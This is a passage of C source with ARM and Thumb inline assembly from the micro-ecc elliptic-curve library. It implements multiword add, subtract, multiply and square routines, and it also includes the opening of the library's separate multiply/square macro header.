598 "str r7, [r0], #4 \n\t" \
599 "ldr r14, [r0] \n\t" \
600 "adcs r8, r8, r14 \n\t" \
601 "str r8, [r0], #4 \n\t" \
602 "adcs r9, r9, #0 \n\t" \
603 "adcs r10, r10, #0 \n\t" \
604 \
605 /* Perform center multiplication */ \
606 "umull r4, r5, r3, r3 \n\t" \
607 "adds r4, r4, r9 \n\t" \
608 "adc r5, r5, r10 \n\t" \
609 "stmia r0!, {r4, r5} \n\t"
610
611 #define FAST_SQUARE_ASM_6_TO_7 \
612 "cmp r2, #6 \n\t" \
613 "beq 1f \n\t" \
614 \
615 /* r3 = high */ \
616 "ldr r3, [r1] \n\t" \
617 \
618 "sub r0, #24 \n\t" \
619 "sub r1, #24 \n\t" \
620 \
621 /* Do off-center multiplication */ \
622 "ldr r14, [r1], #4 \n\t" \
623 "umull r4, r5, r3, r14 \n\t" \
624 "ldr r14, [r1], #4 \n\t" \
625 "umull r7, r6, r3, r14 \n\t" \
626 "adds r5, r5, r7 \n\t" \
627 "ldr r14, [r1], #4 \n\t" \
628 "umull r8, r7, r3, r14 \n\t" \
629 "adcs r6, r6, r8 \n\t" \
630 "ldr r14, [r1], #4 \n\t" \
631 "umull r9, r8, r3, r14 \n\t" \
632 "adcs r7, r7, r9 \n\t" \
633 "ldr r14, [r1], #4 \n\t" \
634 "umull r10, r9, r3, r14 \n\t" \
635 "adcs r8, r8, r10 \n\t" \
636 /* Skip already-loaded r3 */ \
637 "ldr r14, [r1], #8 \n\t" \
638 "umull r11, r10, r3, r14 \n\t" \
639 "adcs r9, r9, r11 \n\t" \
640 "adcs r10, r10, #0 \n\t" \
641 \
642 /* Multiply by 2 */ \
643 "mov r11, #0 \n\t" \
644 "adds r4, r4, r4 \n\t" \
645 "adcs r5, r5, r5 \n\t" \
646 "adcs r6, r6, r6 \n\t" \
647 "adcs r7, r7, r7 \n\t" \
648 "adcs r8, r8, r8 \n\t" \
649 "adcs r9, r9, r9 \n\t" \
650 "adcs r10, r10, r10 \n\t" \
651 "adcs r11, r11, #0 \n\t" \
652 \
653 /* Add into previous */ \
654 "ldr r14, [r0] \n\t" \
655 "adds r4, r4, r14 \n\t" \
656 "str r4, [r0], #4 \n\t" \
657 "ldr r14, [r0] \n\t" \
658 "adcs r5, r5, r14 \n\t" \
659 "str r5, [r0], #4 \n\t" \
660 "ldr r14, [r0] \n\t" \
661 "adcs r6, r6, r14 \n\t" \
662 "str r6, [r0], #4 \n\t" \
663 "ldr r14, [r0] \n\t" \
664 "adcs r7, r7, r14 \n\t" \
665 "str r7, [r0], #4 \n\t" \
666 "ldr r14, [r0] \n\t" \
667 "adcs r8, r8, r14 \n\t" \
668 "str r8, [r0], #4 \n\t" \
669 "ldr r14, [r0] \n\t" \
670 "adcs r9, r9, r14 \n\t" \
671 "str r9, [r0], #4 \n\t" \
672 "adcs r10, r10, #0 \n\t" \
673 "adcs r11, r11, #0 \n\t" \
674 \
675 /* Perform center multiplication */ \
676 "umull r4, r5, r3, r3 \n\t" \
677 "adds r4, r4, r10 \n\t" \
678 "adc r5, r5, r11 \n\t" \
679 "stmia r0!, {r4, r5} \n\t"
680
681 #define FAST_SQUARE_ASM_7_TO_8 \
682 "cmp r2, #7 \n\t" \
683 "beq 1f \n\t" \
684 \
685 /* r3 = high */ \
686 "ldr r3, [r1] \n\t" \
687 \
688 "sub r0, #28 \n\t" \
689 "sub r1, #28 \n\t" \
690 \
691 /* Do off-center multiplication */ \
692 "ldr r14, [r1], #4 \n\t" \
693 "umull r4, r5, r3, r14 \n\t" \
694 "ldr r14, [r1], #4 \n\t" \
695 "umull r7, r6, r3, r14 \n\t" \
696 "adds r5, r5, r7 \n\t" \
697 "ldr r14, [r1], #4 \n\t" \
698 "umull r8, r7, r3, r14 \n\t" \
699 "adcs r6, r6, r8 \n\t" \
700 "ldr r14, [r1], #4 \n\t" \
701 "umull r9, r8, r3, r14 \n\t" \
702 "adcs r7, r7, r9 \n\t" \
703 "ldr r14, [r1], #4 \n\t" \
704 "umull r10, r9, r3, r14 \n\t" \
705 "adcs r8, r8, r10 \n\t" \
706 "ldr r14, [r1], #4 \n\t" \
707 "umull r11, r10, r3, r14 \n\t" \
708 "adcs r9, r9, r11 \n\t" \
709 /* Skip already-loaded r3 */ \
710 "ldr r14, [r1], #8 \n\t" \
711 "umull r12, r11, r3, r14 \n\t" \
712 "adcs r10, r10, r12 \n\t" \
713 "adcs r11, r11, #0 \n\t" \
714 \
715 /* Multiply by 2 */ \
716 "mov r12, #0 \n\t" \
717 "adds r4, r4, r4 \n\t" \
718 "adcs r5, r5, r5 \n\t" \
719 "adcs r6, r6, r6 \n\t" \
720 "adcs r7, r7, r7 \n\t" \
721 "adcs r8, r8, r8 \n\t" \
722 "adcs r9, r9, r9 \n\t" \
723 "adcs r10, r10, r10 \n\t" \
724 "adcs r11, r11, r11 \n\t" \
725 "adcs r12, r12, #0 \n\t" \
726 \
727 /* Add into previous */ \
728 "ldr r14, [r0] \n\t" \
729 "adds r4, r4, r14 \n\t" \
730 "str r4, [r0], #4 \n\t" \
731 "ldr r14, [r0] \n\t" \
732 "adcs r5, r5, r14 \n\t" \
733 "str r5, [r0], #4 \n\t" \
734 "ldr r14, [r0] \n\t" \
735 "adcs r6, r6, r14 \n\t" \
736 "str r6, [r0], #4 \n\t" \
737 "ldr r14, [r0] \n\t" \
738 "adcs r7, r7, r14 \n\t" \
739 "str r7, [r0], #4 \n\t" \
740 "ldr r14, [r0] \n\t" \
741 "adcs r8, r8, r14 \n\t" \
742 "str r8, [r0], #4 \n\t" \
743 "ldr r14, [r0] \n\t" \
744 "adcs r9, r9, r14 \n\t" \
745 "str r9, [r0], #4 \n\t" \
746 "ldr r14, [r0] \n\t" \
747 "adcs r10, r10, r14 \n\t" \
748 "str r10, [r0], #4 \n\t" \
749 "adcs r11, r11, #0 \n\t" \
750 "adcs r12, r12, #0 \n\t" \
751 \
752 /* Perform center multiplication */ \
753 "umull r4, r5, r3, r3 \n\t" \
754 "adds r4, r4, r11 \n\t" \
755 "adc r5, r5, r12 \n\t" \
756 "stmia r0!, {r4, r5} \n\t"
757
758 uECC_VLI_API void uECC_vli_square(uECC_word_t *result,
759 const uECC_word_t *left,
760 wordcount_t num_words) {
761 register uint32_t *r0 __asm__("r0") = result;
762 register const uint32_t *r1 __asm__("r1") = left;
763 register uint32_t r2 __asm__("r2") = num_words;
764
765 __asm__ volatile (
766 ".syntax unified \n\t"
767 "push {r1, r2} \n\t"
768
769 #if (uECC_MIN_WORDS == 5)
770 FAST_SQUARE_ASM_5
771 "pop {r1, r2} \n\t"
772 #if (uECC_MAX_WORDS > 5)
773 "add r1, #20 \n\t"
774 FAST_SQUARE_ASM_5_TO_6
775 #endif
776 #if (uECC_MAX_WORDS > 6)
777 FAST_SQUARE_ASM_6_TO_7
778 #endif
779 #if (uECC_MAX_WORDS > 7)
780 FAST_SQUARE_ASM_7_TO_8
781 #endif
782 #elif (uECC_MIN_WORDS == 6)
783 FAST_SQUARE_ASM_6
784 "pop {r1, r2} \n\t"
785 #if (uECC_MAX_WORDS > 6)
786 "add r1, #24 \n\t"
787 FAST_SQUARE_ASM_6_TO_7
788 #endif
789 #if (uECC_MAX_WORDS > 7)
790 FAST_SQUARE_ASM_7_TO_8
791 #endif
792 #elif (uECC_MIN_WORDS == 7)
793 FAST_SQUARE_ASM_7
794 "pop {r1, r2} \n\t"
795 #if (uECC_MAX_WORDS > 7)
796 "add r1, #28 \n\t"
797 FAST_SQUARE_ASM_7_TO_8
798 #endif
799 #elif (uECC_MIN_WORDS == 8)
800 FAST_SQUARE_ASM_8
801 "pop {r1, r2} \n\t"
802 #endif
803
804 "1: \n\t"
805 RESUME_SYNTAX
806 : "+r" (r0), "+r" (r1)
807 : "r" (r2)
808 : "r3", "r4", "r5", "r6", "r7", "r8", "r9", "r10", "r11", "r12", "r14", "cc", "memory"
809 );
810 }
811 #define asm_square 1
812 #endif /* uECC_SQUARE_FUNC */
813
814 #endif /* uECC_PLATFORM != uECC_arm_thumb */
815
816 #endif /* (uECC_OPTIMIZATION_LEVEL >= 3) */
817
818 /* ---- "Small" implementations ---- */
819
820 #if !asm_add
821 uECC_VLI_API uECC_word_t uECC_vli_add(uECC_word_t *result,
822 const uECC_word_t *left,
823 const uECC_word_t *right,
824 wordcount_t num_words) {
825 uint32_t carry = 0;
826 uint32_t left_word;
827 uint32_t right_word;
828
829 __asm__ volatile (
830 ".syntax unified \n\t"
831 "1: \n\t"
832 "ldmia %[lptr]!, {%[left]} \n\t" /* Load left word. */
833 "ldmia %[rptr]!, {%[right]} \n\t" /* Load right word. */
834 "lsrs %[carry], #1 \n\t" /* Set up carry flag (carry = 0 after this). */
835 "adcs %[left], %[left], %[right] \n\t" /* Add with carry. */
836 "adcs %[carry], %[carry], %[carry] \n\t" /* Store carry bit. */
837 "stmia %[dptr]!, {%[left]} \n\t" /* Store result word. */
838 "subs %[ctr], #1 \n\t" /* Decrement counter. */
839 "bne 1b \n\t" /* Loop until counter == 0. */
840 RESUME_SYNTAX
841 : [dptr] REG_RW (result), [lptr] REG_RW (left), [rptr] REG_RW (right),
842 [ctr] REG_RW (num_words), [carry] REG_RW (carry),
843 [left] REG_WRITE (left_word), [right] REG_WRITE (right_word)
844 :
845 : "cc", "memory"
846 );
847 return carry;
848 }
849 #define asm_add 1
850 #endif
851
852 #if !asm_sub
853 uECC_VLI_API uECC_word_t uECC_vli_sub(uECC_word_t *result,
854 const uECC_word_t *left,
855 const uECC_word_t *right,
856 wordcount_t num_words) {
857 uint32_t carry = 1; /* carry = 1 initially (means don't borrow) */
858 uint32_t left_word;
859 uint32_t right_word;
860
861 __asm__ volatile (
862 ".syntax unified \n\t"
863 "1: \n\t"
864 "ldmia %[lptr]!, {%[left]} \n\t" /* Load left word. */
865 "ldmia %[rptr]!, {%[right]} \n\t" /* Load right word. */
866 "lsrs %[carry], #1 \n\t" /* Set up carry flag (carry = 0 after this). */
867 "sbcs %[left], %[left], %[right] \n\t" /* Subtract with borrow. */
868 "adcs %[carry], %[carry], %[carry] \n\t" /* Store carry bit. */
869 "stmia %[dptr]!, {%[left]} \n\t" /* Store result word. */
870 "subs %[ctr], #1 \n\t" /* Decrement counter. */
871 "bne 1b \n\t" /* Loop until counter == 0. */
872 RESUME_SYNTAX
873 : [dptr] REG_RW (result), [lptr] REG_RW (left), [rptr] REG_RW (right),
874 [ctr] REG_RW (num_words), [carry] REG_RW (carry),
875 [left] REG_WRITE (left_word), [right] REG_WRITE (right_word)
876 :
877 : "cc", "memory"
878 );
879 return !carry;
880 }
881 #define asm_sub 1
882 #endif
883
884 #if !asm_mult
885 uECC_VLI_API void uECC_vli_mult(uECC_word_t *result,
886 const uECC_word_t *left,
887 const uECC_word_t *right,
888 wordcount_t num_words) {
889 #if (uECC_PLATFORM != uECC_arm_thumb)
890 uint32_t c0 = 0;
891 uint32_t c1 = 0;
892 uint32_t c2 = 0;
893 uint32_t k = 0;
894 uint32_t i;
895 uint32_t t0, t1;
896
897 __asm__ volatile (
898 ".syntax unified \n\t"
899
900 "1: \n\t" /* outer loop (k < num_words) */
901 "movs %[i], #0 \n\t" /* i = 0 */
902 "b 3f \n\t"
903
904 "2: \n\t" /* outer loop (k >= num_words) */
905 "movs %[i], %[k] \n\t" /* i = k */
906 "subs %[i], %[last_word] \n\t" /* i = k - (num_words - 1) (times 4) */
907
908 "3: \n\t" /* inner loop */
909 "subs %[t0], %[k], %[i] \n\t" /* t0 = k-i */
910
911 "ldr %[t1], [%[right], %[t0]] \n\t" /* t1 = right[k - i] */
912 "ldr %[t0], [%[left], %[i]] \n\t" /* t0 = left[i] */
913
914 "umull %[t0], %[t1], %[t0], %[t1] \n\t" /* (t0, t1) = left[i] * right[k - i] */
915
916 "adds %[c0], %[c0], %[t0] \n\t" /* add low word to c0 */
917 "adcs %[c1], %[c1], %[t1] \n\t" /* add high word to c1, including carry */
918 "adcs %[c2], %[c2], #0 \n\t" /* add carry to c2 */
919
920 "adds %[i], #4 \n\t" /* i += 4 */
921 "cmp %[i], %[last_word] \n\t" /* i > (num_words - 1) (times 4)? */
922 "bgt 4f \n\t" /* if so, exit the loop */
923 "cmp %[i], %[k] \n\t" /* i <= k? */
924 "ble 3b \n\t" /* if so, continue looping */
925
926 "4: \n\t" /* end inner loop */
927
928 "str %[c0], [%[result], %[k]] \n\t" /* result[k] = c0 */
929 "mov %[c0], %[c1] \n\t" /* c0 = c1 */
930 "mov %[c1], %[c2] \n\t" /* c1 = c2 */
931 "movs %[c2], #0 \n\t" /* c2 = 0 */
932 "adds %[k], #4 \n\t" /* k += 4 */
933 "cmp %[k], %[last_word] \n\t" /* k <= (num_words - 1) (times 4) ? */
934 "ble 1b \n\t" /* if so, loop back, start with i = 0 */
935 "cmp %[k], %[last_word], lsl #1 \n\t" /* k <= (num_words * 2 - 2) (times 4) ? */
936 "ble 2b \n\t" /* if so, loop back, start with i = (k + 1) - num_words */
937 /* end outer loop */
938
939 "str %[c0], [%[result], %[k]] \n\t" /* result[num_words * 2 - 1] = c0 */
940 RESUME_SYNTAX
941 : [c0] "+r" (c0), [c1] "+r" (c1), [c2] "+r" (c2),
942 [k] "+r" (k), [i] "=&r" (i), [t0] "=&r" (t0), [t1] "=&r" (t1)
943 : [result] "r" (result), [left] "r" (left), [right] "r" (right),
944 [last_word] "r" ((num_words - 1) * 4)
945 : "cc", "memory"
946 );
947
948 #else /* Thumb-1 */
949 uint32_t r4, r5, r6, r7;
950
951 __asm__ volatile (
952 ".syntax unified \n\t"
953 "subs %[r3], #1 \n\t" /* r3 = num_words - 1 */
954 "lsls %[r3], #2 \n\t" /* r3 = (num_words - 1) * 4 */
955 "mov r8, %[r3] \n\t" /* r8 = (num_words - 1) * 4 */
956 "lsls %[r3], #1 \n\t" /* r3 = (num_words - 1) * 8 */
957 "mov r9, %[r3] \n\t" /* r9 = (num_words - 1) * 8 */
958 "movs %[r3], #0 \n\t" /* c0 = 0 */
959 "movs %[r4], #0 \n\t" /* c1 = 0 */
960 "movs %[r5], #0 \n\t" /* c2 = 0 */
961 "movs %[r6], #0 \n\t" /* k = 0 */
962
963 "push {%[r0]} \n\t" /* keep result on the stack */
964
965 "1: \n\t" /* outer loop (k < num_words) */
966 "movs %[r7], #0 \n\t" /* r7 = i = 0 */
967 "b 3f \n\t"
968
969 "2: \n\t" /* outer loop (k >= num_words) */
970 "movs %[r7], %[r6] \n\t" /* r7 = k */
971 "mov %[r0], r8 \n\t" /* r0 = (num_words - 1) * 4 */
972 "subs %[r7], %[r0] \n\t" /* r7 = i = k - (num_words - 1) (times 4) */
973
974 "3: \n\t" /* inner loop */
975 "push {%[r3], %[r4], %[r5], %[r6]} \n\t" /* push things, r3 (c0) is at the top of stack. */
976 "subs %[r0], %[r6], %[r7] \n\t" /* r0 = k - i */
977
978 "ldr %[r4], [%[r2], %[r0]] \n\t" /* r4 = right[k - i] */
979 "ldr %[r0], [%[r1], %[r7]] \n\t" /* r0 = left[i] */
980
981 "lsrs %[r3], %[r0], #16 \n\t" /* r3 = a1 */
982 "uxth %[r0], %[r0] \n\t" /* r0 = a0 */
983
984 "lsrs %[r5], %[r4], #16 \n\t" /* r5 = b1 */
985 "uxth %[r4], %[r4] \n\t" /* r4 = b0 */
986
987 "movs %[r6], %[r3] \n\t" /* r6 = a1 */
988 "muls %[r6], %[r5], %[r6] \n\t" /* r6 = a1 * b1 */
989 "muls %[r3], %[r4], %[r3] \n\t" /* r3 = b0 * a1 */
990 "muls %[r5], %[r0], %[r5] \n\t" /* r5 = a0 * b1 */
991 "muls %[r0], %[r4], %[r0] \n\t" /* r0 = a0 * b0 */
992
993 "movs %[r4], #0 \n\t" /* r4 = 0 */
994 "adds %[r3], %[r5] \n\t" /* r3 = b0 * a1 + a0 * b1 */
995 "adcs %[r4], %[r4] \n\t" /* r4 = carry */
996 "lsls %[r4], #16 \n\t" /* r4 = carry << 16 */
997 "adds %[r6], %[r4] \n\t" /* r6 = a1 * b1 + carry */
998
999 "lsls %[r4], %[r3], #16 \n\t" /* r4 = (b0 * a1 + a0 * b1) << 16 */
1000 "lsrs %[r3], #16 \n\t" /* r3 = (b0 * a1 + a0 * b1) >> 16 */
1001 "adds %[r0], %[r4] \n\t" /* r0 = low word = a0 * b0 + ((b0 * a1 + a0 * b1) << 16) */
1002 "adcs %[r6], %[r3] \n\t" /* r6 = high word =
1003 a1 * b1 + carry + ((b0 * a1 + a0 * b1) >> 16) */
1004
1005 "pop {%[r3], %[r4], %[r5]} \n\t" /* r3 = c0, r4 = c1, r5 = c2 */
1006 "adds %[r3], %[r0] \n\t" /* add low word to c0 */
1007 "adcs %[r4], %[r6] \n\t" /* add high word to c1, including carry */
1008 "movs %[r0], #0 \n\t" /* r0 = 0 (does not affect carry bit) */
1009 "adcs %[r5], %[r0] \n\t" /* add carry to c2 */
1010
1011 "pop {%[r6]} \n\t" /* r6 = k */
1012
1013 "adds %[r7], #4 \n\t" /* i += 4 */
1014 "cmp %[r7], r8 \n\t" /* i > (num_words - 1) (times 4)? */
1015 "bgt 4f \n\t" /* if so, exit the loop */
1016 "cmp %[r7], %[r6] \n\t" /* i <= k? */
1017 "ble 3b \n\t" /* if so, continue looping */
1018
1019 "4: \n\t" /* end inner loop */
1020
1021 "ldr %[r0], [sp, #0] \n\t" /* r0 = result */
1022
1023 "str %[r3], [%[r0], %[r6]] \n\t" /* result[k] = c0 */
1024 "mov %[r3], %[r4] \n\t" /* c0 = c1 */
1025 "mov %[r4], %[r5] \n\t" /* c1 = c2 */
1026 "movs %[r5], #0 \n\t" /* c2 = 0 */
1027 "adds %[r6], #4 \n\t" /* k += 4 */
1028 "cmp %[r6], r8 \n\t" /* k <= (num_words - 1) (times 4) ? */
1029 "ble 1b \n\t" /* if so, loop back, start with i = 0 */
1030 "cmp %[r6], r9 \n\t" /* k <= (num_words * 2 - 2) (times 4) ? */
1031 "ble 2b \n\t" /* if so, loop back, with i = (k + 1) - num_words */
1032 /* end outer loop */
1033
1034 "str %[r3], [%[r0], %[r6]] \n\t" /* result[num_words * 2 - 1] = c0 */
1035 "pop {%[r0]} \n\t" /* pop result off the stack */
1036
1037 ".syntax divided \n\t"
1038 : [r3] "+l" (num_words), [r4] "=&l" (r4),
1039 [r5] "=&l" (r5), [r6] "=&l" (r6), [r7] "=&l" (r7)
1040 : [r0] "l" (result), [r1] "l" (left), [r2] "l" (right)
1041 : "r8", "r9", "cc", "memory"
1042 );
1043 #endif
1044 }
1045 #define asm_mult 1
1046 #endif
1047
1048 #if uECC_SQUARE_FUNC
1049 #if !asm_square
1050 uECC_VLI_API void uECC_vli_square(uECC_word_t *result,
1051 const uECC_word_t *left,
1052 wordcount_t num_words) {
1053 #if (uECC_PLATFORM != uECC_arm_thumb)
1054 uint32_t c0 = 0;
1055 uint32_t c1 = 0;
1056 uint32_t c2 = 0;
1057 uint32_t k = 0;
1058 uint32_t i, tt;
1059 uint32_t t0, t1;
1060
1061 __asm__ volatile (
1062 ".syntax unified \n\t"
1063
1064 "1: \n\t" /* outer loop (k < num_words) */
1065 "movs %[i], #0 \n\t" /* i = 0 */
1066 "b 3f \n\t"
1067
1068 "2: \n\t" /* outer loop (k >= num_words) */
1069 "movs %[i], %[k] \n\t" /* i = k */
1070 "subs %[i], %[last_word] \n\t" /* i = k - (num_words - 1) (times 4) */
1071
1072 "3: \n\t" /* inner loop */
1073 "subs %[tt], %[k], %[i] \n\t" /* tt = k-i */
1074
1075 "ldr %[t1], [%[left], %[tt]] \n\t" /* t1 = left[k - i] */
1076 "ldr %[t0], [%[left], %[i]] \n\t" /* t0 = left[i] */
1077
1078 "umull %[t0], %[t1], %[t0], %[t1] \n\t" /* (t0, t1) = left[i] * right[k - i] */
1079
1080 "cmp %[i], %[tt] \n\t" /* (i < k - i) ? */
1081 "bge 4f \n\t" /* if i >= k - i, skip */
1082 "lsls %[t1], #1 \n\t" /* high word << 1 */
1083 "adc %[c2], %[c2], #0 \n\t" /* add carry bit to c2 */
1084 "lsls %[t0], #1 \n\t" /* low word << 1 */
1085 "adc %[t1], %[t1], #0 \n\t" /* add carry bit to high word */
1086
1087 "4: \n\t"
1088
1089 "adds %[c0], %[c0], %[t0] \n\t" /* add low word to c0 */
1090 "adcs %[c1], %[c1], %[t1] \n\t" /* add high word to c1, including carry */
1091 "adcs %[c2], %[c2], #0 \n\t" /* add carry to c2 */
1092
1093 "adds %[i], #4 \n\t" /* i += 4 */
1094 "cmp %[i], %[k] \n\t" /* i >= k? */
1095 "bge 5f \n\t" /* if so, exit the loop */
1096 "subs %[tt], %[k], %[i] \n\t" /* tt = k - i */
1097 "cmp %[i], %[tt] \n\t" /* i <= k - i? */
1098 "ble 3b \n\t" /* if so, continue looping */
1099
1100 "5: \n\t" /* end inner loop */
1101
1102 "str %[c0], [%[result], %[k]] \n\t" /* result[k] = c0 */
1103 "mov %[c0], %[c1] \n\t" /* c0 = c1 */
1104 "mov %[c1], %[c2] \n\t" /* c1 = c2 */
1105 "movs %[c2], #0 \n\t" /* c2 = 0 */
1106 "adds %[k], #4 \n\t" /* k += 4 */
1107 "cmp %[k], %[last_word] \n\t" /* k <= (num_words - 1) (times 4) ? */
1108 "ble 1b \n\t" /* if so, loop back, start with i = 0 */
1109 "cmp %[k], %[last_word], lsl #1 \n\t" /* k <= (num_words * 2 - 2) (times 4) ? */
1110 "ble 2b \n\t" /* if so, loop back, start with i = (k + 1) - num_words */
1111 /* end outer loop */
1112
1113 "str %[c0], [%[result], %[k]] \n\t" /* result[num_words * 2 - 1] = c0 */
1114 RESUME_SYNTAX
1115 : [c0] "+r" (c0), [c1] "+r" (c1), [c2] "+r" (c2),
1116 [k] "+r" (k), [i] "=&r" (i), [tt] "=&r" (tt), [t0] "=&r" (t0), [t1] "=&r" (t1)
1117 : [result] "r" (result), [left] "r" (left), [last_word] "r" ((num_words - 1) * 4)
1118 : "cc", "memory"
1119 );
1120
1121 #else
1122 uint32_t r3, r4, r5, r6, r7;
1123
1124 __asm__ volatile (
1125 ".syntax unified \n\t"
1126 "subs %[r2], #1 \n\t" /* r2 = num_words - 1 */
1127 "lsls %[r2], #2 \n\t" /* r2 = (num_words - 1) * 4 */
1128 "mov r8, %[r2] \n\t" /* r8 = (num_words - 1) * 4 */
1129 "lsls %[r2], #1 \n\t" /* r2 = (num_words - 1) * 8 */
1130 "mov r9, %[r2] \n\t" /* r9 = (num_words - 1) * 8 */
1131 "movs %[r2], #0 \n\t" /* c0 = 0 */
1132 "movs %[r3], #0 \n\t" /* c1 = 0 */
1133 "movs %[r4], #0 \n\t" /* c2 = 0 */
1134 "movs %[r5], #0 \n\t" /* k = 0 */
1135
1136 "push {%[r0]} \n\t" /* keep result on the stack */
1137
1138 "1: \n\t" /* outer loop (k < num_words) */
1139 "movs %[r6], #0 \n\t" /* r6 = i = 0 */
1140 "b 3f \n\t"
1141
1142 "2: \n\t" /* outer loop (k >= num_words) */
1143 "movs %[r6], %[r5] \n\t" /* r6 = k */
1144 "mov %[r0], r8 \n\t" /* r0 = (num_words - 1) * 4 */
1145 "subs %[r6], %[r0] \n\t" /* r6 = i = k - (num_words - 1) (times 4) */
1146
1147 "3: \n\t" /* inner loop */
1148 "push {%[r2], %[r3], %[r4], %[r5]} \n\t" /* push things, r2 (c0) is at the top of stack. */
1149 "subs %[r7], %[r5], %[r6] \n\t" /* r7 = k - i */
1150
1151 "ldr %[r3], [%[r1], %[r7]] \n\t" /* r3 = left[k - i] */
1152 "ldr %[r0], [%[r1], %[r6]] \n\t" /* r0 = left[i] */
1153
1154 "lsrs %[r2], %[r0], #16 \n\t" /* r2 = a1 */
1155 "uxth %[r0], %[r0] \n\t" /* r0 = a0 */
1156
1157 "lsrs %[r4], %[r3], #16 \n\t" /* r4 = b1 */
1158 "uxth %[r3], %[r3] \n\t" /* r3 = b0 */
1159
1160 "movs %[r5], %[r2] \n\t" /* r5 = a1 */
1161 "muls %[r5], %[r4], %[r5] \n\t" /* r5 = a1 * b1 */
1162 "muls %[r2], %[r3], %[r2] \n\t" /* r2 = b0 * a1 */
1163 "muls %[r4], %[r0], %[r4] \n\t" /* r4 = a0 * b1 */
1164 "muls %[r0], %[r3], %[r0] \n\t" /* r0 = a0 * b0 */
1165
1166 "movs %[r3], #0 \n\t" /* r3 = 0 */
1167 "adds %[r2], %[r4] \n\t" /* r2 = b0 * a1 + a0 * b1 */
1168 "adcs %[r3], %[r3] \n\t" /* r3 = carry */
1169 "lsls %[r3], #16 \n\t" /* r3 = carry << 16 */
1170 "adds %[r5], %[r3] \n\t" /* r5 = a1 * b1 + carry */
1171
1172 "lsls %[r3], %[r2], #16 \n\t" /* r3 = (b0 * a1 + a0 * b1) << 16 */
1173 "lsrs %[r2], #16 \n\t" /* r2 = (b0 * a1 + a0 * b1) >> 16 */
1174 "adds %[r0], %[r3] \n\t" /* r0 = low word = a0 * b0 + ((b0 * a1 + a0 * b1) << 16) */
1175 "adcs %[r5], %[r2] \n\t" /* r5 = high word =
1176 a1 * b1 + carry + ((b0 * a1 + a0 * b1) >> 16) */
1177
1178 "movs %[r3], #0 \n\t" /* r3 = 0 */
1179 "cmp %[r6], %[r7] \n\t" /* (i < k - i) ? */
1180 "mov %[r7], %[r3] \n\t" /* r7 = 0 (does not affect condition) */
1181 "bge 4f \n\t" /* if i >= k - i, skip */
1182 "lsls %[r5], #1 \n\t" /* high word << 1 */
1183 "adcs %[r7], %[r3] \n\t" /* r7 = carry bit for c2 */
1184 "lsls %[r0], #1 \n\t" /* low word << 1 */
1185 "adcs %[r5], %[r3] \n\t" /* add carry from shift to high word */
1186
1187 "4: \n\t"
1188 "pop {%[r2], %[r3], %[r4]} \n\t" /* r2 = c0, r3 = c1, r4 = c2 */
1189 "adds %[r2], %[r0] \n\t" /* add low word to c0 */
1190 "adcs %[r3], %[r5] \n\t" /* add high word to c1, including carry */
1191 "movs %[r0], #0 \n\t" /* r0 = 0 (does not affect carry bit) */
1192 "adcs %[r4], %[r0] \n\t" /* add carry to c2 */
1193 "adds %[r4], %[r7] \n\t" /* add carry from doubling (if any) */
1194
1195 "pop {%[r5]} \n\t" /* r5 = k */
1196
1197 "adds %[r6], #4 \n\t" /* i += 4 */
1198 "cmp %[r6], %[r5] \n\t" /* i >= k? */
1199 "bge 5f \n\t" /* if so, exit the loop */
1200 "subs %[r7], %[r5], %[r6] \n\t" /* r7 = k - i */
1201 "cmp %[r6], %[r7] \n\t" /* i <= k - i? */
1202 "ble 3b \n\t" /* if so, continue looping */
1203
1204 "5: \n\t" /* end inner loop */
1205
1206 "ldr %[r0], [sp, #0] \n\t" /* r0 = result */
1207
1208 "str %[r2], [%[r0], %[r5]] \n\t" /* result[k] = c0 */
1209 "mov %[r2], %[r3] \n\t" /* c0 = c1 */
1210 "mov %[r3], %[r4] \n\t" /* c1 = c2 */
1211 "movs %[r4], #0 \n\t" /* c2 = 0 */
1212 "adds %[r5], #4 \n\t" /* k += 4 */
1213 "cmp %[r5], r8 \n\t" /* k <= (num_words - 1) (times 4) ? */
1214 "ble 1b \n\t" /* if so, loop back, start with i = 0 */
1215 "cmp %[r5], r9 \n\t" /* k <= (num_words * 2 - 2) (times 4) ? */
1216 "ble 2b \n\t" /* if so, loop back, with i = (k + 1) - num_words */
1217 /* end outer loop */
1218
1219 "str %[r2], [%[r0], %[r5]] \n\t" /* result[num_words * 2 - 1] = c0 */
1220 "pop {%[r0]} \n\t" /* pop result off the stack */
1221
1222 ".syntax divided \n\t"
1223 : [r2] "+l" (num_words), [r3] "=&l" (r3), [r4] "=&l" (r4),
1224 [r5] "=&l" (r5), [r6] "=&l" (r6), [r7] "=&l" (r7)
1225 : [r0] "l" (result), [r1] "l" (left)
1226 : "r8", "r9", "cc", "memory"
1227 );
1228 #endif
1229 }
1230 #define asm_square 1
1231 #endif
1232 #endif /* uECC_SQUARE_FUNC */
1233
1234 #endif /* _UECC_ASM_ARM_H_ */
0 /* Copyright 2015, Kenneth MacKay. Licensed under the BSD 2-clause license. */
1
2 #ifndef _UECC_ASM_ARM_MULT_SQUARE_H_
3 #define _UECC_ASM_ARM_MULT_SQUARE_H_
4
5 #define FAST_MULT_ASM_5 \
6 "add r0, 12 \n\t" \
7 "add r2, 12 \n\t" \
8 "ldmia r1!, {r3,r4} \n\t" \
9 "ldmia r2!, {r6,r7} \n\t" \
10 \
11 "umull r11, r12, r3, r6 \n\t" \
12 "stmia r0!, {r11} \n\t" \
13 \
14 "mov r10, #0 \n\t" \
15 "umull r11, r9, r3, r7 \n\t" \
16 "adds r12, r12, r11 \n\t" \
17 "adc r9, r9, #0 \n\t" \
18 "umull r11, r14, r4, r6 \n\t" \
19 "adds r12, r12, r11 \n\t" \
20 "adcs r9, r9, r14 \n\t" \
21 "adc r10, r10, #0 \n\t" \
22 "stmia r0!, {r12} \n\t" \
23 \
24 "umull r12, r14, r4, r7 \n\t" \
25 "adds r9, r9, r12 \n\t" \
26 "adc r10, r10, r14 \n\t" \
27 "stmia r0!, {r9, r10} \n\t" \
28 \
29 "sub r0, 28 \n\t" \
30 "sub r2, 20 \n\t" \
31 "ldmia r2!, {r6,r7,r8} \n\t" \
32 "ldmia r1!, {r5} \n\t" \
33 \
34 "umull r11, r12, r3, r6 \n\t" \
35 "stmia r0!, {r11} \n\t" \
36 \
37 "mov r10, #0 \n\t" \
38 "umull r11, r9, r3, r7 \n\t" \
39 "adds r12, r12, r11 \n\t" \
40 "adc r9, r9, #0 \n\t" \
41 "umull r11, r14, r4, r6 \n\t" \
42 "adds r12, r12, r11 \n\t" \
43 "adcs r9, r9, r14 \n\t" \
44 "adc r10, r10, #0 \n\t" \
45 "stmia r0!, {r12} \n\t" \
